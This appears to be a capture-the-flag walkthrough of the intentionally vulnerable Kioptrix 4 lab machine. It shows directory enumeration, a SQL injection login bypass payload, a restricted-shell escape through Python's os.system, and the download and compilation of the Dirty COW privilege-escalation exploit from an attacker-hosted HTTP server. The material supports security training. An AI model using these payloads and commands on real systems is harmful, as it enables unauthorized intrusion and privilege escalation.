

SQL INJECTION TO GAINING INITIAL ACCESS

We will login through SQL injection attack

SQL Injection

- is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution

Run **dirb** to learn what are the directories in Web Server.

```
(root@kali)~# dirb http://10.0.2.16
```

```
=> DIRECTORY: http://10.0.2.16/john/
```

We could also run **nmap --script=smb-enum-users 10.0.2.16** to pull the users on smb.

Enter the password as **1' OR '1'='1**

Member Login

Username :

Password :

Login

And the password of john will be displayed which we can use to login over the ssh service.

Member's Control Panel

Username : john

Password : MyNameIsJohn

Logout

Do **ssh** to the target using the username and password we have gathered.

```
(root@kali)-[~]  
# ssh john@10.0.2.16
```

They gave us an lshell, we only have limited commands available.

```
john:~$ help  
cd clear echo exit help ll lpath ls
```

We can spawn a bash by using **echo**, because the commands that are displayed as a string is being passed as an arguments.

Use Python's os module

We are now on a bourne again shell.

```
john:~$ echo os.system('/bin/bash')  
john@Kioptrix4:~$ whoami  
john
```

```
(root@kali)-[~]  
# searchsploit dirty cow
```

The EDB-ID of dirty cow that we are going to use is 40839.c

```
(root@kali)-[~]  
# gcc -pthread 40839.c -o dirty -lcrypt
```

```
(root@kali)-[~]  
# python -m SimpleHTTPServer 8000  
Serving HTTP on 0.0.0.0 port 8000 ...
```

```
john@Kioptrix4:/tmp$ wget http://10.0.2.15:8000/dirty  
--04:20:01-- http://10.0.2.15:8000/dirty  
=> `dirty'  
Connecting to 10.0.2.15:8000 ... connected.  
HTTP request sent, awaiting response ... 200 OK  
Length: 18,224 (18K) [application/octet-stream]
```

```
john@Kioptrix4:/tmp$ ls -l  
total 20  
-rw-r--r-- 1 john john 18224 2021-08-07 04:18 dirty  
john@Kioptrix4:/tmp$ chmod +x dirty  
john@Kioptrix4:/tmp$ ls -l  
total 20  
-rwxr-xr-x 1 john john 18224 2021-08-07 04:18 dirty
```

uname -m

to show architecture

After you've finished compiling, run "file <compiled file name>". Is the file shown as a 32 bit or 64 bit binary? If it's still 64 bit even after using the -m32 flag you can try "sudo apt install gcc-multilib".

Then run gcc -m32 -Wl,-hash-style=both -o outputfile inputfile.c - usually does the trick for me!